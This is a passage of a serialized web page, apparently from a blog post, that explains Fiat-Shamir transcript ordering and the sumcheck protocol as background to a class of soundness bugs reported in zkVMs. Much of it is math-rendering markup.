points.",{"type":19,"tag":47,"props":105948,"children":105949},{},[105950],{"type":24,"value":105951},"Check PCS/opening consistency.",{"type":19,"tag":47,"props":105953,"children":105954},{},[105955],{"type":24,"value":105956},"Accept only if all checks are jointly consistent.",{"type":19,"tag":20,"props":105958,"children":105959},{},[105960],{"type":19,"tag":1344,"props":105961,"children":105964},{"alt":105962,"src":105963},"1_prover_verifier","/posts/zkvms-unfaithful-claims/1_prover_verifier.svg",[],{"type":19,"tag":20,"props":105966,"children":105967},{},[105968],{"type":24,"value":105969},"The non-negotiable invariant is transcript ordering: if a value affects a verifier equation, it must be absorbed before sampling the challenge that gates that equation. Violating this gives the prover an attacker-controlled degree of freedom.",{"type":19,"tag":16245,"props":105971,"children":105972},{},[],{"type":19,"tag":36,"props":105974,"children":105976},{"id":105975},"the-building-blocks",[105977],{"type":24,"value":105978},"The Building Blocks",{"type":19,"tag":20,"props":105980,"children":105981},{},[105982],{"type":24,"value":105983},"Before we can understand the bugs, we need to understand the protocols they break. Each of these is a tool that zkVMs compose together.",{"type":19,"tag":7050,"props":105985,"children":105987},{"id":105986},"the-fiat-shamir-transform",[105988],{"type":24,"value":105989},"The Fiat-Shamir Transform",{"type":19,"tag":20,"props":105991,"children":105992},{},[105993],{"type":24,"value":105994},"Interactive protocols (the type most commonly described in literature) require real-time communication. It involves the verifier sending random challenges, and the prover responding to them. This doesn't work for blockchains (where you have no real-time verifier) or when you want anyone to verify your proof at a later point.",{"type":19,"tag":20,"props":105996,"children":105997},{},[105998],{"type":24,"value":105999},"The solution is to replace the verifier's randomness with a hash function. The prover \"talks to themselves,\" using the hash of everything so far as the challenge. If we use a cryptographic hash function, this should mean that the challenges are completely unpredictable.",{"type":19,"tag":20,"props":106001,"children":106002},{},[106003],{"type":19,"tag":1344,"props":106004,"children":106007},{"alt":106005,"src":106006},"fiat_shamir2","/posts/zkvms-unfaithful-claims/fiat_shamir2.svg",[],{"type":19,"tag":20,"props":106009,"children":106010},{},[106011,106013,106017,106019,106024],{"type":24,"value":106012},"The hash (transcript) ",{"type":19,"tag":51,"props":106014,"children":106015},{},[106016],{"type":24,"value":3955},{"type":24,"value":106018}," include everything that affects verification ",{"type":19,"tag":51,"props":106020,"children":106021},{},[106022],{"type":24,"value":106023},"BEFORE",{"type":24,"value":106025}," the challenges derived from it are used.",{"type":19,"tag":20,"props":106027,"children":106028},{},[106029,106031,106057,106059,106084,106086,106111,106113,106138,106140,106165],{"type":24,"value":106030},"If some value ",{"type":19,"tag":27,"props":106032,"children":106034},{"className":106033},[1411,1412],[106035],{"type":19,"tag":168,"props":106036,"children":106038},{"className":106037},[1417],[106039],{"type":19,"tag":168,"props":106040,"children":106042},{"className":106041,"ariaHidden":1423},[1422],[106043],{"type":19,"tag":168,"props":106044,"children":106046},{"className":106045},[1428],[106047,106051],{"type":19,"tag":168,"props":106048,"children":106050},{"className":106049,"style":19038},[1433],[],{"type":19,"tag":168,"props":106052,"children":106054},{"className":106053,"style":105732},[1439,19043],[106055],{"type":24,"value":106056},"V",{"type":24,"value":106058}," affects a verification equation, but ",{"type":19,"tag":27,"props":106060,"children":106062},{"className":106061},[1411,1412],[106063],{"type":19,"tag":168,"props":106064,"children":106066},{"className":106065},[1417],[106067],{"type":19,"tag":168,"props":106068,"children":106070},{"className":106069,"ariaHidden":1423},[1422],[106071],{"type":19,"tag":168,"props":106072,"children":106074},{"className":106073},[1428],[106075,106079],{"type":19,"tag":168,"props":106076,"children":106078},{"className":106077,"style":19038},[1433],[],{"type":19,"tag":168,"props":106080,"children":106082},{"className":106081,"style":105732},[1439,19043],[106083],{"type":24,"value":106056},{"type":24,"value":106085}," isn't absorbed before the relevant challenge is squeezed, then the challenge is completely independent of ",{"type":19,"tag":27,"props":106087,"children":106089},{"className":106088},[1411,1412],[106090],{"type":19,"tag":168,"props":106091,"children":106093},{"className":106092},[1417],[106094],{"type":19,"tag":168,"props":106095,"children":106097},{"className":106096,"ariaHidden":1423},[1422],[106098],{"type":19,"tag":168,"props":106099,"children":106101},{"className":106100},[1428],[106102,106106],{"type":19,"tag":168,"props":106103,"children":106105},{"className":106104,"style":19038},[1433],[],{"type":19,"tag":168,"props":106107,"children":106109},{"className":106108,"style":105732},[1439,19043],[106110],{"type":24,"value":106056},{"type":24,"value":106112},". This means that the prover can \"see\" (compute in advance) the challenge before choosing ",{"type":19,"tag":27,"props":106114,"children":106116},{"className":106115},[1411,1412],[106117],{"type":19,"tag":168,"props":106118,"children":106120},{"className":106119},[1417],[106121],{"type":19,"tag":168,"props":106122,"children":106124},{"className":106123,"ariaHidden":1423},[1422],[106125],{"type":19,"tag":168,"props":106126,"children":106128},{"className":106127},[1428],[106129,106133],{"type":19,"tag":168,"props":106130,"children":106132},{"className":106131,"style":19038},[1433],[],{"type":19,"tag":168,"props":106134,"children":106136},{"className":106135,"style":105732},[1439,19043],[106137],{"type":24,"value":106056},{"type":24,"value":106139},", which may allow it to choose ",{"type":19,"tag":27,"props":106141,"children":106143},{"className":106142},[1411,1412],[106144],{"type":19,"tag":168,"props":106145,"children":106147},{"className":106146},[1417],[106148],{"type":19,"tag":168,"props":106149,"children":106151},{"className":106150,"ariaHidden":1423},[1422],[106152],{"type":19,"tag":168,"props":106153,"children":106155},{"className":106154},[1428],[106156,106160],{"type":19,"tag":168,"props":106157,"children":106159},{"className":106158,"style":19038},[1433],[],{"type":19,"tag":168,"props":106161,"children":106163},{"className":106162,"style":105732},[1439,19043],[106164],{"type":24,"value":106056},{"type":24,"value":106166}," exactly so that the verification passes, even though it should not.",{"type":19,"tag":20,"props":106168,"children":106169},{},[106170],{"type":24,"value":106171},"This is the bug class we found in all six systems.",{"type":19,"tag":7050,"props":106173,"children":106175},{"id":106174},"the-sumcheck-protocol",[106176],{"type":24,"value":106177},"The Sumcheck Protocol",{"type":19,"tag":20,"props":106179,"children":106180},{},[106181,106183,106269],{"type":24,"value":106182},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":19,"tag":27,"props":106184,"children":106186},{"className":106185},[1411,1412],[106187],{"type":19,"tag":168,"props":106188,"children":106190},{"className":106189},[1417],[106191],{"type":19,"tag":168,"props":106192,"children":106194},{"className":106193,"ariaHidden":1423},[1422],[106195],{"type":19,"tag":168,"props":106196,"children":106198},{"className":106197},[1428],[106199,106203,106208,106213,106218,106222,106227],{"type":19,"tag":168,"props":106200,"children":106202},{"className":106201,"style":1541},[1433],[],{"type":19,"tag":168,"props":106204,"children":106206},{"className":106205},[19172],[106207],{"type":24,"value":74107},{"type":19,"tag":168,"props":106209,"children":106211},{"className":106210},[1439],[106212],{"type":24,"value":1452},{"type":19,"tag":168,"props":106214,"children":106216},{"className":106215},[1552],[106217],{"type":24,"value":1555},{"type":19,"tag":168,"props":106219,"children":106221},{"className":106220,"style":1559},[1520],[],{"type":19,"tag":168,"props":106223,"children":106225},{"className":106224},[1439],[106226],{"type":24,"value":1442},{"type":19,"tag":168,"props":106228,"children":106230},{"className":106229},[19194],[106231,106236],{"type":19,"tag":168,"props":106232,"children":106234},{"className":106233},[19194],[106235],{"type":24,"value":31614},{"type":19,"tag":168,"props":106237,"children":106239},{"className":106238},[1456],[106240],{"type":19,"tag":168,"props":106241,"children":106243},{"className":106242},[1461],[106244],{"type":19,"tag":168,"props":106245,"children":106247},{"className":106246},[1466],[106248],{"type":19,"tag":168,"props":106249,"children":106252},{"className":106250,"style":106251},[1471],"height:0.6644em;",[106253],{"type":19,"tag":168,"props":106254,"children":106255},{"style":1475},[106256,106260],{"type":19,"tag":168,"props":106257,"children":106259},{"className":106258,"style":1481},[1480],[],{"type":19,"tag":168,"props":106261,"children":106263},{"className":106262},[1486,1487,1488,1489],[106264],{"type":19,"tag":168,"props":106265,"children":106267},{"className":106266},[1439,19043,1489],[106268],{"type":24,"value":53887},{"type":24,"value":106270},"), i.e the claim:",{"type":19,"tag":20,"props":106272,"children":106273},{},[106274],{"type":19,"tag":27,"props":106275,"children":106277},{"className":106276},[1411,1412],[106278],{"type":19,"tag":168,"props":106279,"children":106281},{"className":106280},[1417],[106282],{"type":19,"tag":168,"props":106283,"children":106285},{"className":106284,"ariaHidden":1423},[1422],[106286,106312],{"type":19,"tag":168,"props":106287,"children":106289},{"className":106288},[1428],[106290,106294,106299,106303,106308],{"type":19,"tag":168,"props":106291,"children":106293},{"className":106292,"style":19038},[1433],[],{"type":19,"tag":168,"props":106295,"children":106297},{"className":106296,"style":90769},[1439,19043],[106298],{"type":24,"value":90772},{"type":19,"tag":168,"props":106300,"children":106302},{"className":106301,"style":1618},[1520],[],{"type":19,"tag":168,"props":106304,"children":106306},{"className":106305},[1623],[106307],{"type":24,"value":486},{"type":19,"tag":168,"props":106309,"children":106311},{"className":106310,"style":1618},[1520],[],{"type":19,"tag":168,"props":106313,"children":106315},{"className":106314},[1428],[106316,106320,106470,106474,106617,106621,106628,106632,106776,106780,106786,106791,106848,106853,106857,106914,106919,106923,106929,106933,106938,106942,107000],{"type":19,"tag":168,"props":106317,"children":106319},{"className":106318,"style":19074},[1433],[],{"type":19,"tag":168,"props":106321,"children":106323},{"className":106322},[19079],[106324,106330],{"type":19,"tag":168,"props":106325,"children":106327},{"className":106326,"style":19086},[19079,19084,19085],[106328],{"type":24,"value":106329},"∑",{"type":19,"tag":168,"props":106331,"children":106333},{"className":106332},[1456],[106334],{"type":19,"tag":168,"props":106335,"children":106337},{"className":106336},[1461,19097],[106338,106459],{"type":19,"tag":168,"props":106339,"children":106341},{"className":106340},[1466],[106342,106454],{"type":19,"tag":168,"props":106343,"children":106345},{"className":106344,"style":19106},[1471],[106346],{"type":19,"tag":168,"props":106347,"children":106348},{"style":19110},[106349,106353],{"type":19,"tag":168,"props":106350,"children":106352},{"className":106351,"style":1481},[1480],[],{"type":19,"tag":168,"props":106354,"children":106356},{"className":106355},[1486,1487,1488,1489],[106357],{"type":19,"tag":168,"props":106358,"children":106360},{"className":106359},[1439,1489],[106361,106424,106429,106434,106439,106444,106449],{"type":19,"tag":168,"props":106362,"children":106364},{"className":106363},[1439,1489],[106365,106370],{"type":19,"tag":168,"props":106366,"children":106368},{"className":106367},[1439,19043,1489],[106369],{"type":24,"value":16729},{"type":19,"tag":168,"props":106371,"children":106373},{"className":106372},[1456],[106374],{"type":19,"tag":168,"props":106375,"children":106377},{"className":106376},[1461,19097],[106378,106412],{"type":19,"tag":168,"props":106379,"children":106381},{"className":106380},[1466],[106382,106407],{"type":19,"tag":168,"props":106383,"children":106386},{"className":106384,"style":106385},[1471],"height:0.3173em;",[106387],{"type":19,"tag":168,"props":106388,"children":106390},{"style":106389},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[106391,106396],{"type":19,"tag":168,"props":106392,"children":106395},{"className":106393,"style":106394},[1480],"height:2.5em;",[],{"type":19,"tag":168,"props":106397,"children":106401},{"className":106398},[1486,106399,106400,1489],"reset-size3","size1",[106402],{"type":19,"tag":168,"props":106403,"children":106405},{"className":106404},[1439,1489],[106406],{"type":24,"value":1442},{"type":19,"tag":168,"props":106408,"children":106410},{"className":106409},[19200],[106411],{"type":24,"value":19203},{"type":19,"tag":168,"props":106413,"children":106415},{"className":106414},[1466],[106416],{"type":19,"tag":168,"props":106417,"children":106420},{"className":106418,"style":106419},[1471],"height:0.143em;",[106421],{"type":19,"tag":168,"props":106422,"children":106423},{},[],{"type":19,"tag":168,"props":106425,"children":106427},{"className":106426},[1623,1489],[106428],{"type":24,"value":19150},{"type":19,"tag":168,"props":106430,"children":106432},{"className":106431},[19172,1489],[106433],{"type":24,"value":74107},{"type":19,"tag":168,"props":106435,"children":106437},{"className":106436},[1439,1489],[106438],{"type":24,"value":1452},{"type":19,"tag":168,"props":106440,"children":106442},{"className":106441},[1552,1489],[106443],{"type":24,"value":1555},{"type":19,"tag":168,"props":106445,"children":106447},{"className":106446},[1439,1489],[106448],{"type":24,"value":1442},{"type":19,"tag":168,"props":106450,"children":106452},{"className":106451},[19194,1489],[106453],{"type":24,"value":31614},{"type":19,"tag":168,"props":106455,"children":106457},{"className":106456},[19200],[106458],{"type":24,"value":19203},{"type":19,"tag":168,"props":106460,"children":106462},{"className":106461},[1466],[106463],{"type":19,"tag":168,"props":106464,"children":106466},{"className":106465,"style":19211},[1471],[106467],{"type":19,"tag":168,"props":106468,"children":106469},{},[],{"type":19,"tag":168,"props":106471,"children":106473},{"className":106472,"style":1559},[1520],[],{"type":19,"tag":168,"props":106475,"children":106477},{"className":106476},[19079],[106478,106483],{"type":19,"tag":168,"props":106479,"children":106481},{"className":106480,"style":19086},[19079,19084,19085],[106482],{"type":24,"value":106329},{"type":19,"tag":168,"props":106484,"children":106486},{"className":106485},[1456],[106487],{"type":19,"tag":168,"props":106488,"children":106490},{"className":106489},[1461,19097],[106491,106606],{"type":19,"tag":168,"props":106492,"children":106494},{"className":106493},[1466],[106495,106601],{"type":19,"tag":168,"props":106496,"children":106498},{"className":106497,"style":19106},[1471],[106499],{"type":19,"tag":168,"props":106500,"children":106501},{"style":19110},[106502,106506],{"type":19,"tag":168,"props":106503,"children":106505},{"className":106504,"style":1481},[1480],[],{"type":19,"tag":168,"props":106507,"children":106509},{"className":106508},[1486,1487,1488,1489],[106510],{"type":19,"tag":168,"props":106511,"children":106513},{"className":106512},[1439,1489],[106514,106571,106576,106581,106586,106591,106596],{"type":19,"tag":168,"props":106515,"children":106517},{"className":106516},[1439,1489],[106518,106523],{"type":19,"tag":168,"props":106519,"children":106521},{"className":106520},[1439,19043,1489],[106522],{"type":24,"value":16729},{"type":19,"tag":168,"props":106524,"children":106526},{"className":106525},[1456],[106527],{"type":19,"tag":168,"props":106528,"children":106530},{"className":106529},[1461,19097],[106531,106560],{"type":19,"tag":168,"props":106532,"children":106534},{"className":106533},[1466],[106535,106555],{"type":19,"tag":168,"props":106536,"children":106538},{"className":106537,"style":106385},[1471],[106539],{"type":19,"tag":168,"props":106540,"children":106541},{"style":106389},[106542,106546],{"type":19,"tag":168,"props":106543,"children":106545},{"className":106544,"style":106394},[1480],[],{"type":19,"tag":168,"props":106547,"children":106549},{"className":106548},[1486,106399,106400,1489],[106550],{"type":19,"tag":168,"props":106551,"children":106553},{"className":106552},[1439,1489],[106554],{"type":24,"value":519},{"type":19,"tag":168,"props":106556,"children":106558},{"className":106557},[19200],[106559],{"type":24,"value":19203},{"type":19,"tag":168,"props":106561,"children":106563},{"className":106562},[1466],[106564],{"type":19,"tag":168,"props":106565,"children":106567},{"className":106566,"style":106419},[1471],[106568],{"type":19,"tag":168,"props":106569,"children":106570},{},[],{"type":19,"tag":168,"props":106572,"children":106574},{"className":106573},[1623,1489],[106575],{"type":24,"value":19150},{"type":19,"tag":168,"props":106577,"children":106579},{"className":106578},[19172,1489],[106580],{"type":24,"value":74107},{"type":19,"tag":168,"props":106582,"children":106584},{"className":106583},[1439,1489],[106585],{"type":24,"value":1452},{"type":19,"tag":168,"props":106587,"children":106589},{"className":106588},[1552,1489],[106590],{"type":24,"value":1555},{"type":19,"tag":168,"props":106592,"children":106594},{"className":106593},[1439,1489],[106595],{"type":24,"value":1442},{"type":19,"tag":168,"props":106597,"children":106599},{"className":106598},[19194,1489],[106600],{"type":24,"value":31614},{"type":19,"tag":168,"props":106602,"children":106604},{"className":106603},[19200],[106605],{"type":24,"value":19203},{"type":19,"tag":168,"props":106607,"children":106609},{"className":106608},[1466],[106610],{"type":19,"tag":168,"props":106611,"children":106613},{"className":106612,"style":19211},[1471],[106614],{"type":19,"tag":168,"props":106615,"children":106616},{},[],{"type":19,"tag":168,"props":106618,"children":106620},{"className":106619,"style":1559},[1520],[],{"type":19,"tag":168,"props":106622,"children":106625},{"className":106623},[106624],"minner",[106626],{"type":24,"value":106627},"⋯",{"type":19,"tag":168,"props":106629,"children":106631},{"className":106630,"style":1559},[1520],[],{"type":19,"tag":168,"props":106633,"children":106635},{"className":106634},[19079],[106636,106641],{"type":19,"tag":168,"props":106637,"children":106639},{"className":106638,"style":19086},[19079,19084,19085],[106640],{"type":24,"value":106329},{"type":19,"tag":168,"props":106642,"children":106644},{"className":106643},[1456],[106645],{"type":19,"tag":168,"props":106646,"children":106648},{"className":106647},[1461,19097],[106649,106765],{"type":19,"tag":168,"props":106650,"children":106652},{"className":106651},[1466],[106653,106760],{"type":19,"tag":168,"props":106654,"children":106656},{"className":106655,"style":19106},[1471],[106657],{"type":19,"tag":168,"props":106658,"children":106659},{"style":19110},[106660,106664],{"type":19,"tag":168,"props":106661,"children":106663},{"className":106662,"style":1481},[1480],[],{"type":19,"tag":168,"props":106665,"children":106667},{"className":106666},[1486,1487,1488,1489],[106668],{"type":19,"tag":168,"props":106669,"children":106671},{"className":106670},[1439,1489],[106672,106730,106735,106740,106745,106750,106755],{"type":19,"tag":168,"props":106673,"children":106675},{"className":106674},[1439,1489],[106676,106681],{"type":19,"tag":168,"props":106677,"children":106679},{"className":106678},[1439,19043,1489],[106680],{"type":24,"value":16729},{"type":19,"tag":168,"props":106682,"children":106684},{"className":106683},[1456],[106685],{"type":19,"tag":168,"props":106686,"children":106688},{"className":106687},[1461,19097],[106689,106719],{"type":19,"tag":168,"props":106690,"children":106692},{"className":106691},[1466],[106693,106714],{"type":19,"tag":168,"props":106694,"children":106697},{"className":106695,"style":106696},[1471],"height:0.1645em;",[106698],{"type":19,"tag":168,"props":106699,"children":106700},{"style":106389},[106701,106705],{"type":19,"tag":168,"props":106702,"children":106704},{"className":106703,"style":106394},[1480],[],{"type":19,"tag":168,"props":106706,"children":106708},{"className":106707},[1486,106399,106400,1489],[106709],{"type":19,"tag":168,"props":106710,"children":106712},{"className":106711},[1439,19043,1489],[106713],{"type":24,"value":53887},{"type":19,"tag":168,"props":106715,"children":106717},{"className":106716},[19200],[106718],{"type":24,"value":19203},{"type":19,"tag":168,"props":106720,"children":106722},{"className":106721},[1466],[106723],{"type":19,"tag":168,"props":106724,"children":106726},{"className":106725,"style":106419},[1471],[106727],{"type":19,"tag":168,"props":106728,"children":106729},{},[],{"type":19,"tag":168,"props":106731,"children":106733},{"className":106732},[1623,1489],[106734],{"type":24,"value":19150},{"type":19,"tag":168,"props":106736,"children":106738},{"className":106737},[19172,1489],[106739],{"type":24,"value":74107},{"type":19,"tag":168,"props":106741,"children":106743},{"className":106742},[1439,1489],[106744],{"type":24,"value":1452},{"type":19,"tag":168,"props":106746,"children":106748},{"className":106747},[1552,1489],[106749],{"type":24,"value":1555},{"type":19,"tag":168,"props":106751,"children":106753},{"className":106752},[1439,1489],[106754],{"type":24,"value":1442},{"type":19,"tag":168,"props":106756,"children":106758},{"className":106757},[19194,1489],[106759],{"type":24,"value":31614},{"type":19,"tag":168,"props":106761,"children":106763},{"className":106762},[19200],[106764],{"type":24,"value":19203},{"type":19,"tag":168,"props":106766,"children":106768},{"className":106767},[1466],[106769],{"type":19,"tag":168,"props":106770,"children":106772},{"className":106771,"style":19211},[1471],[106773],{"type":19,"tag":168,"props":106774,"children":106775},{},[],{"type":19,"tag":168,"props":106777,"children":106779},{"className":106778,"style":1559},[1520],[],{"type":19,"tag":168,"props":106781,"children":106783},{"className":106782,"style":91021},[1439,19043],[106784],{"type":24,"value":106785},"g",{"type":19,"tag":168,"props":106787,"children":106789},{"className":106788},[19172],[106790],{"type":24,"value":500},{"type":19,"tag":168,"props":106792,"children":106794},{"className":106793},[1439],[106795,106800],{"type":19,"tag":168,"props":106796,"children":106798},{"className":106797},[1439,19043],[106799],{"type":24,"value":16729},{"type":19,"tag":168,"props":106801,"children":106803},{"className":106802},[1456],[106804],{"type":19,"tag":168,"props":106805,"children":106807},{"className":106806},[1461,19097],[106808,106837],{"type":19,"tag":168,"props":106809,"children":106811},{"className":106810},[1466],[106812,106832],{"type":19,"tag":168,"props":106813,"children":106815},{"className":106814,"style":90587},[1471],[106816],{"type":19,"tag":168,"props":106817,"children":106818},{"style":90591},[106819,106823],{"type":19,"tag":168,"props":106820,"children":106822},{"className":106821,"style":1481},[1480],[],{"type":19,"tag":168,"props":106824,"children":106826},{"className":106825},[1486,1487,1488,1489],[106827],{"type":19,"tag":168,"props":106828,"children":106830},{"className":106829},[1439,1489],[106831],{"type":24,"value":1442},{"type":19,"tag":168,"props":106833,"children":106835},{"className":106834},[19200],[106836],{"type":24,"value":19203},{"type":19,"tag":168,"props":106838,"children":106840},{"className":106839},[1466],[106841],{"type":19,"tag":168,"props":106842,"children":106844},{"className":106843,"style":90618},[1471],[106845],{"type":19,"tag":168,"props":106846,"children":106847},{},[],{"type":19,"tag":168,"props":106849,"children":106851},{"className":106850},[1552],[106852],{"type":24,"value":1555},{"type":19,"tag":168,"props":106854,"children":106856},{"className":106855,"style":1559},[1520],[],{"type":19,"tag":168,"props":106858,"children":106860},{"className":106859},[1439],[106861,106866],{"type":19,"tag":168,"props":106862,"children":106864},{"className":106863},[1439,19043],[106865],{"type":24,"value":16729},{"type":19,"tag":168,"props":106867,"children":106869},{"className":106868},[1456],[106870],{"type":19,"tag":168,"props":106871,"children":106873},{"className":106872},[1461,19097],[106874,106903],{"type":19,"tag":168,"props":106875,"children":106877},{"className":106876},[1466],[106878,106898],{"type":19,"tag":168,"props":106879,"children":106881},{"className":106880,"style":90587},[1471],[106882],{"type":19,"tag":168,"props":106883,"children":106884},{"style":90591},[106885,106889],{"type":19,"tag":168,"props":106886,"children":106888},{"className":106887,"style":1481},[1480],[],{"type":19,"tag":168,"props":106890,"children":106892},{"className":106891},[1486,1487,1488,1489],[106893],{"type":19,"tag":168,"props":106894,"children":106896},{"className":106895},[1439,1489],[106897],{"type":24,"value":519},{"type":19,"tag":168,"props":106899,"children":106901},{"className":106900},[19200],[106902],{"type":24,"value":19203},{"type":19,"tag":168,"props":106904,"children":106906},{"className":106905},[1466],[106907],{"type":19,"tag":168,"props":106908,"children":106910},{"className":106909,"style":90618},[1471],[106911],{"type":19,"tag":168,"props":106912,"children":106913},{},[],{"type":19,"tag":168,"props":106915,"children":106917},{"className":106916},[1552],[106918],{"type":24,"value":1555},{"type":19,"tag":168,"props":106920,"children":106922},{"className":106921,"style":1559},[1520],[],{"type":19,"tag":168,"props":106924,"children":106926},{"className":106925},[106624],[106927],{"type":24,"value":106928},"…",{"type":19,"tag":168,"props":106930,"children":106932},{"className":106931,"style":1559},[1520],[],{"type":19,"tag":168,"props":106934,"children":106936},{"className":106935},[1552],[106937],{"type":24,"value":1555},{"type":19,"tag":168,"props":106939,"children":106941},{"className":106940,"style":1559},[1520],[],{"type":19,"tag":168,"props":106943,"children":106945},{"className":106944},[1439],[106946,106951],{"type":19,"tag":168,"props":106947,"children":106949},{"className":106948},[1439,19043],[106950],{"type":24,"value":16729},{"type":19,"tag":168,"props":106952,"children":106954},{"className":106953},[1456],[106955],{"type":19,"tag":168,"props":106956,"children":106958},{"className":106957},[1461,19097],[106959,106989],{"type":19,"tag":168,"props":106960,"children":106962},{"className":106961},[1466],[106963,106984],{"type":19,"tag":168,"props":106964,"children":106967},{"className":106965,"style":106966},[1471],"height:0.1514em;",[106968],{"type":19,"tag":168,"props":106969,"children":106970},{"style":90591},[106971,106975],{"type":19,"tag":168,"props":106972,"children":106974},{"className":106973,"style":1481},[1480],[],{"type":19,"tag":168,"props":106976,"children":106978},{"className":106977},[1486,1487,1488,1489],[106979],{"type":19,"tag":168,"props":106980,"children":106982},{"className":106981},[1439,19043,1489],[106983],{"type":24,"value":53887},{"type":19,"tag":168,"props":106985,"children":106987},{"className":106986},[19200],[106988],{"type":24,"value":19203},{"type":19,"tag":168,"props":106990,"children":106992},{"className":106991},[1466],[106993],{"type":19,"tag":168,"props":106994,"children":106996},{"className":106995,"style":90618},[1471],[106997],{"type":19,"tag":168,"props":106998,"children":106999},{},[],{"type":19,"tag":168,"props":107001,"children":107003},{"className":107002},[19194],[107004],{"type":24,"value":524},{"type":19,"tag":20,"props":107006,"children":107007},{},[107008,107010,107071],{"type":24,"value":107009},"The naive approach would be for the verifier to compute all ",{"type":19,"tag":27,"props":107011,"children":107013},{"className":107012},[1411,1412],[107014],{"type":19,"tag":168,"props":107015,"children":107017},{"className":107016},[1417],[107018],{"type":19,"tag":168,"props":107019,"children":107021},{"className":107020,"ariaHidden":1423},[1422],[107022],{"type":19,"tag":168,"props":107023,"children":107025},{"className":107024},[1428],[107026,107030],{"type":19,"tag":168,"props":107027,"children":107029},{"className":107028,"style":106251},[1433],[],{"type":19,"tag":168,"props":107031,"children":107033},{"className":107032},[1439],[107034,107039],{"type":19,"tag":168,"props":107035,"children":107037},{"className":107036},[1439],[107038],{"type":24,"value":519},{"type":19,"tag":168,"props":107040,"children":107042},{"className":107041},[1456],[107043],{"type":19,"tag":168,"props":107044,"children":107046},{"className":107045},[1461],[107047],{"type":19,"tag":168,"props":107048,"children":107050},{"className":107049},[1466],[107051],{"type":19,"tag":168,"props":107052,"children":107054},{"className":107053,"style":106251},[1471],[107055],{"type":19,"tag":168,"props":107056,"children":107057},{"style":1475},[107058,107062],{"type":19,"tag":168,"props":107059,"children":107061},{"className":107060,"style":1481},[1480],[],{"type":19,"tag":168,"props":107063,"children":107065},{"className":107064},[1486,1487,1488,1489],[107066],{"type":19,"tag":168,"props":107067,"children":107069},{"className":107068},[1439,19043,1489],[107070],{"type":24,"value":53887},{"type":24,"value":107072}," evaluations. This is exponentially expensive.",{"type":19,"tag":20,"props":107074,"children":107075},{},[107076,107078,107083],{"type":24,"value":107077},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":19,"tag":51,"props":107079,"children":107080},{},[107081],{"type":24,"value":107082},"only one",{"type":24,"value":948},{"type":19,"tag":20,"props":107085,"children":107086},{},[107087],{"type":19,"tag":1344,"props":107088,"children":107091},{"alt":107089,"src":107090},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":19,"tag":20,"props":107093,"children":107094},{},[107095,107097,107189,107191,107376,107378,107403,107405,107483,107485,107564],{"type":24,"value":107096},"In each round, the prover must send a polynomial ",{"type":19,"tag":27,"props":107098,"children":107100},{"className":107099},[1411,1412],[107101],{"type":19,"tag":168,"props":107102,"children":107104},{"className":107103},[1417],[107105],{"type":19,"tag":168,"props":107106,"children":107108},{"className":107107,"ariaHidden":1423},[1422],[107109],{"type":19,"tag":168,"props":107110,"children":107112},{"className":107111},[1428],[107113,107117,107174,107179,107184],{"type":19,"tag":168,"props":107114,"children":107116},{"className":107115,"style":1541},[1433],[],{"type":19,"tag":168,"props":107118,"children":107120},{"className":107119},[1439],[107121,107126],{"type":19,"tag":168,"props":107122,"children":107124},{"className":107123,"style":91021},[1439,19043],[107125],{"type":24,"value":106785},{"type":19,"tag":168,"props":107127,"children":107129},{"className":107128},[1456],[107130],{"type":19,"tag":168,"props":107131,"children":107133},{"className":107132},[1461,19097],[107134,107163],{"type":19,"tag":168,"props":107135,"children":107137},{"className":107136},[1466],[107138,107158],{"type":19,"tag":168,"props":107139,"children":107141},{"className":107140,"style":91064},[1471],[107142],{"type":19,"tag":168,"props":107143,"children":107144},{"style":91068},[107145,107149],{"type":19,"tag":168,"props":107146,"children":107148},{"className":107147,"style":1481},[1480],[],{"type":19,"tag":168,"props":107150,"children":107152},{"className":107151},[1486,1487,1488,1489],[107153],{"type":19,"tag":168,"props":107154,"children":107156},{"className":107155},[1439,19043,1489],[107157],{"type":24,"value":1157},{"type":19,"tag":168,"props":107159,"children":107161},{"className":107160},[19200],[107162],{"type":24,"value":19203},{"type":19,"tag":168,"props":107164,"children":107166},{"className":107165},[1466],[107167],{"type":19,"tag":168,"props":107168,"children":107170},{"className":107169,"style":90618},[1471],[107171],{"type":19,"tag":168,"props":107172,"children":107173},{},[],{"type":19,"tag":168,"props":107175,"children":107177},{"className":107176},[19172],[107178],{"type":24,"value":500},{"type":19,"tag":168,"props":107180,"children":107182},{"className":107181,"style":92555},[1439,19043],[107183],{"type":24,"value":3568},{"type":19,"tag":168,"props":107185,"children":107187},{"className":107186},[19194],[107188],{"type":24,"value":524},{"type":24,"value":107190}," such that ",{"type":19,"tag":27,"props":107192,"children":107194},{"className":107193},[1411,1412],[107195],{"type":19,"tag":168,"props":107196,"children":107198},{"className":107197},[1417],[107199],{"type":19,"tag":168,"props":107200,"children":107202},{"className":107201,"ariaHidden":1423},[1422],[107203,107296],{"type":19,"tag":168,"props":107204,"children":107206},{"className":107205},[1428],[107207,107211,107268,107273,107278,107283,107287,107292],{"type":19,"tag":168,"props":107208,"children":107210},{"className":107209,"style":1541},[1433],[],{"type":19,"tag":168,"props":107212,"children":107214},{"className":107213},[1439],[107215,107220],{"type":19,"tag":168,"props":107216,"children":107218},{"className":107217,"style":91021},[1439,19043],[107219],{"type":24,"value":106785},{"type":19,"tag":168,"props":107221,"children":107223},{"className":107222},[1456],[107224],{"type":19,"tag":168,"props":107225,"children":107227},{"className":107226},[1461,19097],[107228,107257],{"type":19,"tag":168,"props":107229,"children":107231},{"className":107230},[1466],[107232,107252],{"type":19,"tag":168,"props":107233,"children":107235},{"className":107234,"style":91064},[1471],[107236],{"type":19,"tag":168,"props":107237,"children":107238},{"style":91068},[107239,107243],{"type":19,"tag":168,"props":107240,"children":107242},{"className":107241,"style":1481},[1480],[],{"type":19,"tag":168,"props":107244,"children":107246},{"className":107245},[1486,1487,1488,1489],[107247],{"type":19,"tag":168,"props":107248,"children":107250},{"className":107249},[1439,19043,1489],[107251],{"type":24,"value":1157},{"type":19,"tag":168,"props":107253,"children":107255},{"className":107254},[19200],[107256],{"type":24,"value":19203},{"type":19,"tag":168,"props":107258,"children":107260},{"className":107259},[1466],[107261],{"type":19,"tag":168,"props":107262,"children":107264},{"className":107263,"style":90618},[1471],[107265],{"type":19,"tag":168,"props":107266,"children":107267},{},[],{"type":19,"tag":1